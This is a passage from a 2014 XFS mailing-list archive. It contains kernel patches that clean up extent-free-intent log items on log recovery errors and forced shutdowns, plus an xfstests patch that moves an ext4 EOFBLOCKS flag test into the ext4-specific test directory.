Date: Mon Jul 2 06:00:04 2012 -0400 xfs: prevent recursion in xfs_buf_iorequest but I never got around fixing the root cause by cleaning up the way we handle buffer I/O completions on a shut down filesystem. So I guess Eric's fix is the best we can do for now. From tinguely@eagdhcp-232-205.americas.sgi.com Tue Mar 25 15:12:03 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1B7697F3F for ; Tue, 25 Mar 2014 15:12:03 -0500 (CDT) Received: from eagdhcp-232-205.americas.sgi.com (eagdhcp-232-205.americas.sgi.com [128.162.232.205]) by relay3.corp.sgi.com (Postfix) with ESMTP id BB131AC002 for ; Tue, 25 Mar 2014 13:12:02 -0700 (PDT) Received: from eagdhcp-232-205.americas.sgi.com (localhost [127.0.0.1]) by eagdhcp-232-205.americas.sgi.com (8.14.5/8.14.5) with ESMTP id s2PKC3Lq003843 for ; Tue, 25 Mar 2014 15:12:03 -0500 (CDT) (envelope-from tinguely@eagdhcp-232-205.americas.sgi.com) Received: (from tinguely@localhost) by eagdhcp-232-205.americas.sgi.com (8.14.5/8.14.5/Submit) id s2PKC2W0003842; Tue, 25 Mar 2014 15:12:02 -0500 (CDT) (envelope-from tinguely) Message-Id: <20140325195733.510384972@sgi.com> User-Agent: quilt/0.51-1 Date: Tue, 25 Mar 2014 15:06:33 -0500 From: Mark Tinguely To: xfs@oss.sgi.com Subject: [PATCH 0/2] xfs: Clean the EFI on errors series Here is a broken up version of the clean the EFI from the AIL on error. Patch 1 is for log recovery and patch 2 is for log aborts, forced shutdowns in xfs_bmap_finish() or another thread while the EFI is in the CIL or AIL and the EFD is in the CIL. If xfs_free_extent() fails while processing the extent free list, one has to manually remove the EFI because the EFD is not complete and is not in the transaction. --Mark. From tinguely@eagdhcp-232-205.americas.sgi.com Tue Mar 25 15:12:05 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id AE28429DFD for ; Tue, 25 Mar 2014 15:12:05 -0500 (CDT) Received: from eagdhcp-232-205.americas.sgi.com (eagdhcp-232-205.americas.sgi.com [128.162.232.205]) by relay2.corp.sgi.com (Postfix) with ESMTP id AFF93304059 for ; Tue, 25 Mar 2014 13:12:02 -0700 (PDT) Received: from eagdhcp-232-205.americas.sgi.com (localhost [127.0.0.1]) by eagdhcp-232-205.americas.sgi.com (8.14.5/8.14.5) with ESMTP id s2PKC32S003847 for ; Tue, 25 Mar 2014 15:12:03 -0500 (CDT) (envelope-from tinguely@eagdhcp-232-205.americas.sgi.com) Received: (from tinguely@localhost) by eagdhcp-232-205.americas.sgi.com (8.14.5/8.14.5/Submit) id s2PKC3XZ003846; Tue, 25 Mar 2014 15:12:03 -0500 (CDT) (envelope-from tinguely) Message-Id: <20140325195819.638326569@sgi.com> User-Agent: quilt/0.51-1 Date: Tue, 25 Mar 2014 15:06:34 -0500 From: Mark Tinguely To: xfs@oss.sgi.com Subject: [PATCH 1/2] xfs: remove efi from AIL in log recovery error References: <20140325195733.510384972@sgi.com> Content-Disposition: inline; filename=xfs-fix-efi-in-log-recovery-error.patch xlog_recover_process_efi{s}() functions are completing the second half of xfs_bmap_finish() which frees extents. If this operation fails, the EFI will stay on the AIL and prevents the xfs_ail_push all_sync() from completing and the mount will fail to unmount. Rather than have a special log recovery flag XFS_EFI_RECOVERED to decrement the EFI/EFD counter, call the same decrement function from the log recovery routine that is called then the EFI is added to the AIL from a log write. Remove all other unprocessed EFIs from the log recovery AIL when one is discovered in error. Signed-off-by: Mark Tinguely --- Rewritten with suggestions from Dave. Note: calling xfs_efi_item_unpin() seemed more explainatory than calling the helper __xfs_efi_release(). fs/xfs/xfs_extfree_item.c | 9 +++------ fs/xfs/xfs_log_recover.c | 28 +++++++++++++++------------- fs/xfs/xfs_trans.h | 1 + 3 files changed, 19 insertions(+), 19 deletions(-) Index: b/fs/xfs/xfs_extfree_item.c =================================================================== --- a/fs/xfs/xfs_extfree_item.c +++ b/fs/xfs/xfs_extfree_item.c @@ -134,9 +134,10 @@ xfs_efi_item_pin( * remove the EFI it's because the transaction has been canceled and by * definition that means the EFI cannot be in the AIL so remove it from the * transaction and free it. Otherwise coordinate with xfs_efi_release() - * to determine who gets to free the EFI. + * to determine who gets to free the EFI. Call from log recovery of EFI + * entries so the EFD or error handling will remove the entry. */ -STATIC void +void xfs_efi_item_unpin( struct xfs_log_item *lip, int remove) @@ -313,10 +314,6 @@ xfs_efi_release(xfs_efi_log_item_t *efip { ASSERT(atomic_read(&efip->efi_next_extent) >= nextents); if (atomic_sub_and_test(nextents, &efip->efi_next_extent)) { - /* recovery needs us to drop the EFI reference, too */ - if (test_bit(XFS_EFI_RECOVERED, &efip->efi_flags)) - __xfs_efi_release(efip); - __xfs_efi_release(efip); /* efip may now have been freed, do not reference it again. */ } Index: b/fs/xfs/xfs_log_recover.c =================================================================== --- a/fs/xfs/xfs_log_recover.c +++ b/fs/xfs/xfs_log_recover.c @@ -3634,6 +3634,7 @@ xlog_recover_process_data( /* * Process an extent free intent item that was recovered from * the log. We need to free the extents that it describes. + * The caller will release this and any following EFIs upon error. */ STATIC int xlog_recover_process_efi( @@ -3648,6 +3649,13 @@ xlog_recover_process_efi( xfs_fsblock_t startblock_fsb; ASSERT(!test_bit(XFS_EFI_RECOVERED, &efip->efi_flags)); + set_bit(XFS_EFI_RECOVERED, &efip->efi_flags); + + /* + * Decrement the EFI/EFD counter so the EFI is removed after + * processing the EFD or error handling in the caller. + */ + xfs_efi_item_unpin(&efip->efi_item, 0); /* * First check the validity of the extents described by the @@ -3662,12 +3670,6 @@ xlog_recover_process_efi( (extp->ext_len == 0) || (startblock_fsb >= mp->m_sb.sb_dblocks) || (extp->ext_len >= mp->m_sb.sb_agblocks)) { - /* - * This will pull the EFI from the AIL and - * free the memory associated with it. - */ - set_bit(XFS_EFI_RECOVERED, &efip->efi_flags); - xfs_efi_release(efip, efip->efi_format.efi_nextents); return XFS_ERROR(EIO); } } @@ -3687,7 +3689,6 @@ xlog_recover_process_efi( extp->ext_len); } - set_bit(XFS_EFI_RECOVERED, &efip->efi_flags); error = xfs_trans_commit(tp, 0); return error; @@ -3718,8 +3719,8 @@ STATIC int xlog_recover_process_efis( struct xlog *log) { - xfs_log_item_t *lip; - xfs_efi_log_item_t *efip; + struct xfs_log_item *lip; + struct xfs_efi_log_item *efip; int error = 0; struct xfs_ail_cursor cur; struct xfs_ail *ailp; @@ -3750,13 +3751,14 @@ xlog_recover_process_efis( } spin_unlock(&ailp->xa_lock); - error = xlog_recover_process_efi(log->l_mp, efip); - spin_lock(&ailp->xa_lock); + /* Skip all EFIs after first EFI in error. */ + if (!error) + error = xlog_recover_process_efi(log->l_mp, efip); if (error) - goto out; + xfs_efi_release(efip, efip->efi_format.efi_nextents); + spin_lock(&ailp->xa_lock); lip = xfs_trans_ail_cursor_next(ailp, &cur); } -out: xfs_trans_ail_cursor_done(ailp, &cur); spin_unlock(&ailp->xa_lock); return error; Index: b/fs/xfs/xfs_trans.h =================================================================== --- a/fs/xfs/xfs_trans.h +++ b/fs/xfs/xfs_trans.h @@ -216,6 +216,7 @@ void xfs_trans_ijoin(struct xfs_trans * void xfs_trans_log_buf(xfs_trans_t *, struct xfs_buf *, uint, uint); void xfs_trans_log_inode(xfs_trans_t *, struct xfs_inode *, uint); struct xfs_efi_log_item *xfs_trans_get_efi(xfs_trans_t *, uint); +void xfs_efi_item_unpin(struct xfs_log_item *, int); void xfs_efi_release(struct xfs_efi_log_item *, uint); void xfs_trans_log_efi_extent(xfs_trans_t *, struct xfs_efi_log_item *, From tinguely@eagdhcp-232-205.americas.sgi.com Tue Mar 25 15:12:05 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D3D6229DFE for ; Tue, 25 Mar 2014 15:12:05 -0500 (CDT) Received: from eagdhcp-232-205.americas.sgi.com (eagdhcp-232-205.americas.sgi.com [128.162.232.205]) by relay1.corp.sgi.com (Postfix) with ESMTP id D2B7B8F8049 for ; Tue, 25 Mar 2014 13:12:02 -0700 (PDT) Received: from eagdhcp-232-205.americas.sgi.com (localhost [127.0.0.1]) by eagdhcp-232-205.americas.sgi.com (8.14.5/8.14.5) with ESMTP id s2PKC30I003851 for ; Tue, 25 Mar 2014 15:12:03 -0500 (CDT) (envelope-from tinguely@eagdhcp-232-205.americas.sgi.com) Received: (from tinguely@localhost) by eagdhcp-232-205.americas.sgi.com (8.14.5/8.14.5/Submit) id s2PKC3OD003850; Tue, 25 Mar 2014 15:12:03 -0500 (CDT) (envelope-from tinguely) Message-Id: <20140325195819.740387237@sgi.com> User-Agent: quilt/0.51-1 Date: Tue, 25 Mar 2014 15:06:35 -0500 From: Mark Tinguely To: xfs@oss.sgi.com Subject: [PATCH 2/2] xfs: free the EFI entries from AIL on forced shutdown References: <20140325195733.510384972@sgi.com> Content-Disposition: inline; filename=xfs-fix-efi-xfs_bmapi_finish-error.patch The extent free intention (EFI) and extent free done (EFD) log items are in separate transactions. It is possible that the EFI can be pushed to the AIL before a forced shutdown where it gets stuck for following reasons: No complete EFD in the transaction. This can happen if the transaction fails to reserve space or the freeing the extent fails in xfs_bmap_finish(). EFD IOP Abort processing. If xfs_trans_cancel() is called with an abort flag, or if the xfs_trans_commit() is called when the file system is in forced shutdown or if the log buffer write fails, then the EFD iop commands will not remove the EFI from the AIL. If the EFI entry is left on the AIL, xfs_ail_push all_sync() will fail to complete, the unmount will hang, and a reboot is required to get the complete the unmount. Do not free the EFI structure immediately on forced shutdowns, but instead use the IOP calls to match the EFI/EFD entries. A small wrinkle in the mix is the EFI is not automatically placed on the AIL by the IOP routines in the cases but may have made it to the AIL before the abort. We now have to check if the EFI is on the AIL in the abort IOP cases. Signed-off-by: Mark Tinguely --- Dave, as I tried to explain, if the error in extent free happen early enough, the EFD is not usable and is not in the transaction to cause IOP commands to clean up the EFI. It too must be done manually. The "in the AIL" test must be done in the abort IOP commands. fs/xfs/xfs_bmap_util.c | 21 +++++++++++++++---- fs/xfs/xfs_extfree_item.c | 49 +++++++++++++++++++++++++++++++++------------- fs/xfs/xfs_log_recover.c | 3 +- fs/xfs/xfs_trans.h | 2 - 4 files changed, 56 insertions(+), 19 deletions(-) Index: b/fs/xfs/xfs_bmap_util.c =================================================================== --- a/fs/xfs/xfs_bmap_util.c +++ b/fs/xfs/xfs_bmap_util.c @@ -116,12 +116,14 @@ xfs_bmap_finish( error = xfs_trans_reserve(ntp, &tres, 0, 0); if (error) - return error; + goto error_return; + efd = xfs_trans_get_efd(ntp, efi, flist->xbf_count); for (free = flist->xbf_first; free != NULL; free = next) { next = free->xbfi_next; - if ((error = xfs_free_extent(ntp, free->xbfi_startblock, - free->xbfi_blockcount))) { + error = xfs_free_extent(ntp, free->xbfi_startblock, + free->xbfi_blockcount); + if (error) { /* * The bmap free list will be cleaned up at a * higher level. The EFI will be canceled when @@ -136,13 +138,24 @@ xfs_bmap_finish( (error == EFSCORRUPTED) ? SHUTDOWN_CORRUPT_INCORE : SHUTDOWN_META_IO_ERROR); - return error; + goto error_return; } xfs_trans_log_efd_extent(ntp, efd, free->xbfi_startblock, free->xbfi_blockcount); xfs_bmap_del_free(flist, NULL, free); } return 0; + + error_return: + /* + * No EFD in the transaction matching the EFI can be used at this + * point Manually release the EFI and remove from AIL if necessary. + * If the EFI did not make it into the AIL, then the transaction + * cancel of the EFI will decrement the EFI/EFD counter and will not + * attempt to remove itself from the AIL. + */ + xfs_efi_release(efi, efi->efi_format.efi_nextents, 0); + return error; } int Index: b/fs/xfs/xfs_extfree_item.c =================================================================== --- a/fs/xfs/xfs_extfree_item.c +++ b/fs/xfs/xfs_extfree_item.c @@ -56,15 +56,22 @@ xfs_efi_item_free( */ STATIC void __xfs_efi_release( - struct xfs_efi_log_item *efip) + struct xfs_efi_log_item *efip, + int abort) { struct xfs_ail *ailp = efip->efi_item.li_ailp; if (atomic_dec_and_test(&efip->efi_refcount)) { spin_lock(&ailp->xa_lock); - /* xfs_trans_ail_delete() drops the AIL lock. */ - xfs_trans_ail_delete(ailp, &efip->efi_item, - SHUTDOWN_LOG_IO_ERROR); + /* + * The EFI may not be on the AIL on abort. + * xfs_trans_ail_delete() drops the AIL lock. + */ + if (abort) + spin_unlock(&ailp->xa_lock); + else + xfs_trans_ail_delete(ailp, &efip->efi_item, + SHUTDOWN_LOG_IO_ERROR); xfs_efi_item_free(efip); } } @@ -148,10 +155,10 @@ xfs_efi_item_unpin( ASSERT(!(lip->li_flags & XFS_LI_IN_AIL)); if (lip->li_desc) xfs_trans_del_item(lip); - xfs_efi_item_free(efip); + __xfs_efi_release(efip, 1); return; } - __xfs_efi_release(efip); + __xfs_efi_release(efip, 0); } /* @@ -173,8 +180,9 @@ STATIC void xfs_efi_item_unlock( struct xfs_log_item *lip) { + /* EFI will not be on the AIL if called on abort */ if (lip->li_flags & XFS_LI_ABORTED) - xfs_efi_item_free(EFI_ITEM(lip)); + __xfs_efi_release(EFI_ITEM(lip), 1); } /* @@ -310,11 +318,12 @@ xfs_efi_copy_format(xfs_log_iovec_t *buf */ void xfs_efi_release(xfs_efi_log_item_t *efip, - uint nextents) + uint nextents, + int abort) { ASSERT(atomic_read(&efip->efi_next_extent) >= nextents); if (atomic_sub_and_test(nextents, &efip->efi_next_extent)) { - __xfs_efi_release(efip); + __xfs_efi_release(efip, abort); /* efip may now have been freed, do not reference it again. */ } } @@ -417,8 +426,19 @@ STATIC void xfs_efd_item_unlock( struct xfs_log_item *lip) { - if (lip->li_flags & XFS_LI_ABORTED) - xfs_efd_item_free(EFD_ITEM(lip)); + struct xfs_efd_log_item *efdp = EFD_ITEM(lip); + + if (!(lip->li_flags & XFS_LI_ABORTED)) + return; + + /* Free the EFI when aborting a commit. The EFI will be either + * added to the AIL in a CIL push before this abort or unlocked + * before the EFD unlock. In either case we can check the AIL + * status now. + */ + xfs_efi_release(efdp->efd_efip, efdp->efd_format.efd_nextents, + !(efdp->efd_efip->efi_item.li_flags & XFS_LI_IN_AIL)); + xfs_efd_item_free(efdp); } /* @@ -434,14 +454,17 @@ xfs_efd_item_committed( xfs_lsn_t lsn) { struct xfs_efd_log_item *efdp = EFD_ITEM(lip); + int abort = 0; /* * If we got a log I/O error, it's always the case that the LR with the * EFI got unpinned and freed before the EFD got aborted. */ - if (!(lip->li_flags & XFS_LI_ABORTED)) - xfs_efi_release(efdp->efd_efip, efdp->efd_format.efd_nextents); + if (lip->li_flags & XFS_LI_ABORTED && + !(efdp->efd_efip->efi_item.li_flags & XFS_LI_IN_AIL)) + abort = 1; + xfs_efi_release(efdp->efd_efip, efdp->efd_format.efd_nextents, abort); xfs_efd_item_free(efdp); return (xfs_lsn_t)-1; } Index: b/fs/xfs/xfs_log_recover.c =================================================================== --- a/fs/xfs/xfs_log_recover.c +++ b/fs/xfs/xfs_log_recover.c @@ -3754,8 +3754,9 @@ xlog_recover_process_efis( /* Skip all EFIs after first EFI in error. */ if (!error) error = xlog_recover_process_efi(log->l_mp, efip); + /* EFI will be on the AIL, so abort == 0 */ if (error) - xfs_efi_release(efip, efip->efi_format.efi_nextents); + xfs_efi_release(efip, efip->efi_format.efi_nextents, 0); spin_lock(&ailp->xa_lock); lip = xfs_trans_ail_cursor_next(ailp, &cur); } Index: b/fs/xfs/xfs_trans.h =================================================================== --- a/fs/xfs/xfs_trans.h +++ b/fs/xfs/xfs_trans.h @@ -217,7 +217,7 @@ void xfs_trans_log_buf(xfs_trans_t *, s void xfs_trans_log_inode(xfs_trans_t *, struct xfs_inode *, uint); struct xfs_efi_log_item *xfs_trans_get_efi(xfs_trans_t *, uint); void xfs_efi_item_unpin(struct xfs_log_item *, int); -void xfs_efi_release(struct xfs_efi_log_item *, uint); +void xfs_efi_release(struct xfs_efi_log_item *, uint, int); void xfs_trans_log_efi_extent(xfs_trans_t *, struct xfs_efi_log_item *, xfs_fsblock_t, From lczerner@redhat.com Tue Mar 25 16:12:02 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 2F7087F3F for ; Tue, 25 Mar 2014 16:12:02 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id BA17FAC001 for ; Tue, 25 Mar 2014 14:12:01 -0700 (PDT) X-ASG-Debug-ID: 1395781920-04cbb054b9726c20001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 4h34LEcw2IPvyy8i for ; Tue, 25 Mar 2014 14:12:00 -0700 (PDT) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2PLBxbD024979 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 25 Mar 2014 17:11:59 -0400 Received: from localhost.localdomain.com (vpn1-6-254.ams2.redhat.com [10.36.6.254]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s2PLBssm008047; Tue, 25 Mar 2014 17:11:58 -0400 From: Lukas Czerner To: xfs@oss.sgi.com Cc: Lukas Czerner Subject: [PATCH 2/2] xfstests: Make shared/243 ext4 specific Date: Tue, 25 Mar 2014 22:11:51 +0100 X-ASG-Orig-Subj: [PATCH 2/2] xfstests: Make shared/243 ext4 specific Message-Id: <1395781911-13084-2-git-send-email-lczerner@redhat.com> In-Reply-To: <1395781911-13084-1-git-send-email-lczerner@redhat.com> References: <1395781911-13084-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1395781920 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 The test shared/243 really is ext4 specific even though currently we would run it on other file systems as well, it would not actually do any testing. So move it to ext4 specific directory and rename it to 002. Signed-off-by: Lukas Czerner --- tests/ext4/002 | 180 +++++++++++++++++++++++++++++++++++++++++++++++++++ tests/ext4/002.out | 13 ++++ tests/ext4/group | 1 + tests/shared/243 | 180 --------------------------------------------------- tests/shared/243.out | 13 ---- tests/shared/group | 1 - 6 files changed, 194 insertions(+), 194 deletions(-) create mode 100755 tests/ext4/002 create mode 100644 tests/ext4/002.out delete mode 100755 tests/shared/243 delete mode 100644 tests/shared/243.out diff --git a/tests/ext4/002 b/tests/ext4/002 new file mode 100755 index 0000000..12be253 --- /dev/null +++ b/tests/ext4/002 @@ -0,0 +1,180 @@ +#! /bin/bash +# FS QA Test No. ext4/002 +# +# Test to ensure that the EOFBLOCK_FL gets set/unset correctly. +# +# As found by Theodore Ts'o: +# If a 128K file is falloc'ed using the KEEP_SIZE flag, and then +# write exactly 128K, the EOFBLOCK_FL doesn't get cleared correctly. +# This is bad since it forces e2fsck to complain about that inode. +# If you have a large number of inodes that are written with fallocate +# using KEEP_SIZE, and then fill them up to their expected size, +# e2fsck will potentially complain about a _huge_ number of inodes. +# This would also cause a huge increase in the time taken by e2fsck +# to complete its check. +# +# Test scenarios covered: +# 1. Fallocating X bytes and writing Y (YX) (buffered and direct io) +# +# These test cases exercise the normal and edge case conditions using +# falloc (and KEEP_SIZE). +# +# Ref: http://thread.gmane.org/gmane.comp.file-systems.ext4/20682 +# +#----------------------------------------------------------------------- +# Copyright (c) 2010 Google, Inc. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +# Test specific macros. +BIT_NOT_SET=0 # inode flag - 0x400000 bit is not set. +BIT_SET=1 # inode flag - 0x400000 bit is set. + +# Generic test cleanup function. +_cleanup() +{ + cd / + rm -f $tmp.* +} + +# Ext4 uses the EOFBLOCKS_FL bit when fallocating blocks with KEEP_SIZE +# enabled. The only time this bit should be set is when extending the allocated +# blocks further than what the i_size represents. In the situations wherein the +# i_size covers all allocated blocks, this bit should be cleared. + +# Checks the state of the sample file in the filesystem and returns whether +# the inode flag 0x400000 is set or not. +_check_ext4_eof_flag() +{ + # Check whether EOFBLOCK_FL is set. + # For ext4 filesystems: use debugfs to check if EOFBLOCKS_FL is set. + # Other filesystems: do nothing. The default fsck at the end of the test + # should catch any potential errors. + if [ "${FSTYP}" == "ext4" ]; then + bit_set=1 + + # Unmount the ${TEST_DEV} + umount ${TEST_DEV} + + # Run debugfs to gather file_parameters - specifically iflags. + file_params=`debugfs ${TEST_DEV} -R "stat ${1}" 2>&1 | grep -e Flags:` + iflags=${file_params#*Flags: } + + # Ensure that the iflags value was parsed correctly. + if [ -z ${iflags} ]; then + echo "iFlags value was not parsed successfully." >> $seqres.full + status=1 + exit ${status} + fi + + # Check if EOFBLOCKS_FL is set. + if ((${iflags} & 0x400000)); then + echo "EOFBLOCK_FL bit is set." >> $seqres.full + bit_set=1 + else + echo "EOFBLOCK_FL bit is not set." >> $seqres.full + bit_set=0 + fi + + # Check current bit state to expected value. + if [ ${bit_set} -ne ${2} ]; then + echo "Error: Current bit state incorrect." >> $seqres.full + status=1 + exit ${status} + fi + + # Mount the ${TEST_DEV} + mount ${TEST_DEV} -t ${FSTYP} ${TEST_DIR} + fi +} + +# Get standard environment, filters and checks. +. ./common/rc +. ./common/filter + +# Prerequisites for the test run. +_supported_fs ext4 +_supported_os Linux +_require_xfs_io_falloc + +# Real QA test starts here. +rm -f $seqres.full + +# Remove any leftover files from last run. +rm -f ${TEST_DIR}/test_? + +# Begin test cases. +echo "Test 1: Fallocate 40960 bytes and write 4096 bytes (buffered io)." \ + >> $seqres.full +${XFS_IO_PROG} -f \ + -c 'falloc -k 0 40960' \ + -c 'pwrite 0 4096' \ + ${TEST_DIR}/test_1 | _filter_xfs_io_unique +_check_ext4_eof_flag test_1 ${BIT_SET} + +echo "Test 2: Fallocate 40960 bytes and write 4096 bytes (direct io)." \ + >> $seqres.full +${XFS_IO_PROG} -f -d \ + -c 'falloc -k 0 40960' \ + -c 'pwrite 0 4096' \ + ${TEST_DIR}/test_2 | _filter_xfs_io_unique +_check_ext4_eof_flag test_2 ${BIT_SET} + +echo "Test 3: Fallocate 40960 bytes and write 40960 bytes (buffered io)." \ + >> $seqres.full +${XFS_IO_PROG} -f \ + -c 'falloc -k 0 40960' \ + -c 'pwrite 0 40960' \ + ${TEST_DIR}/test_3 | _filter_xfs_io_unique +_check_ext4_eof_flag test_3 ${BIT_NOT_SET} + +echo "Test 4: Fallocate 40960 bytes and write 40960 bytes (direct io)." \ + >> $seqres.full +${XFS_IO_PROG} -f -d \ + -c 'falloc -k 0 40960' \ + -c 'pwrite 0 40960' \ + ${TEST_DIR}/test_4 | _filter_xfs_io_unique +_check_ext4_eof_flag test_4 ${BIT_NOT_SET} + +echo "Test 5: Fallocate 128k, seek 256k and write 4k block (buffered io)." \ + >> $seqres.full +${XFS_IO_PROG} -f \ + -c 'falloc -k 0 128k' \ + -c 'pwrite 256k 4k' \ + ${TEST_DIR}/test_5 | _filter_xfs_io_unique +_check_ext4_eof_flag test_5 ${BIT_NOT_SET} + +echo "Test 6: Fallocate 128k, seek to 256k and write a 4k block (direct io)." \ + >> $seqres.full +${XFS_IO_PROG} -f -d \ + -c 'falloc -k 0 128k' \ + -c 'pwrite 256k 4k' \ + ${TEST_DIR}/test_6 | _filter_xfs_io_unique +_check_ext4_eof_flag test_6 ${BIT_NOT_SET} + +status=0 +exit ${status} diff --git a/tests/ext4/002.out b/tests/ext4/002.out new file mode 100644 index 0000000..3dcca87 --- /dev/null +++ b/tests/ext4/002.out @@ -0,0 +1,13 @@ +QA output created by 002 +wrote 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 40960/40960 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 40960/40960 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 262144 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 262144 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) diff --git a/tests/ext4/group b/tests/ext4/group index dd2841e..7e66035 100644 --- a/tests/ext4/group +++ b/tests/ext4/group @@ -4,6 +4,7 @@ # - comment line before each group is "new" description # 001 auto prealloc quick +002 auto quick prealloc 271 auto rw quick 301 aio dangerous ioctl rw stress 302 aio dangerous ioctl rw stress diff --git a/tests/shared/243 b/tests/shared/243 deleted file mode 100755 index e0f2db2..0000000 --- a/tests/shared/243 +++ /dev/null @@ -1,180 +0,0 @@ -#! /bin/bash -# FS QA Test No. 243 -# -# Test to ensure that the EOFBLOCK_FL gets set/unset correctly. -# -# As found by Theodore Ts'o: -# If a 128K file is falloc'ed using the KEEP_SIZE flag, and then -# write exactly 128K, the EOFBLOCK_FL doesn't get cleared correctly. -# This is bad since it forces e2fsck to complain about that inode. -# If you have a large number of inodes that are written with fallocate -# using KEEP_SIZE, and then fill them up to their expected size, -# e2fsck will potentially complain about a _huge_ number of inodes. -# This would also cause a huge increase in the time taken by e2fsck -# to complete its check. -# -# Test scenarios covered: -# 1. Fallocating X bytes and writing Y (YX) (buffered and direct io) -# -# These test cases exercise the normal and edge case conditions using -# falloc (and KEEP_SIZE). -# -# Ref: http://thread.gmane.org/gmane.comp.file-systems.ext4/20682 -# -#----------------------------------------------------------------------- -# Copyright (c) 2010 Google, Inc. All Rights Reserved. -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation. -# -# This program is distributed in the hope that it would be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write the Free Software Foundation, -# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA -#----------------------------------------------------------------------- -# - -seq=`basename $0` -seqres=$RESULT_DIR/$seq -echo "QA output created by $seq" - -here=`pwd` -tmp=/tmp/$$ -status=1 # failure is the default! -trap "_cleanup; exit \$status" 0 1 2 3 15 - -# Test specific macros. -BIT_NOT_SET=0 # inode flag - 0x400000 bit is not set. -BIT_SET=1 # inode flag - 0x400000 bit is set. - -# Generic test cleanup function. -_cleanup() -{ - cd / - rm -f $tmp.* -} - -# Ext4 uses the EOFBLOCKS_FL bit when fallocating blocks with KEEP_SIZE -# enabled. The only time this bit should be set is when extending the allocated -# blocks further than what the i_size represents. In the situations wherein the -# i_size covers all allocated blocks, this bit should be cleared. - -# Checks the state of the sample file in the filesystem and returns whether -# the inode flag 0x400000 is set or not. -_check_ext4_eof_flag() -{ - # Check whether EOFBLOCK_FL is set. - # For ext4 filesystems: use debugfs to check if EOFBLOCKS_FL is set. - # Other filesystems: do nothing. The default fsck at the end of the test - # should catch any potential errors. - if [ "${FSTYP}" == "ext4" ]; then - bit_set=1 - - # Unmount the ${TEST_DEV} - umount ${TEST_DEV} - - # Run debugfs to gather file_parameters - specifically iflags. - file_params=`debugfs ${TEST_DEV} -R "stat ${1}" 2>&1 | grep -e Flags:` - iflags=${file_params#*Flags: } - - # Ensure that the iflags value was parsed correctly. - if [ -z ${iflags} ]; then - echo "iFlags value was not parsed successfully." >> $seqres.full - status=1 - exit ${status} - fi - - # Check if 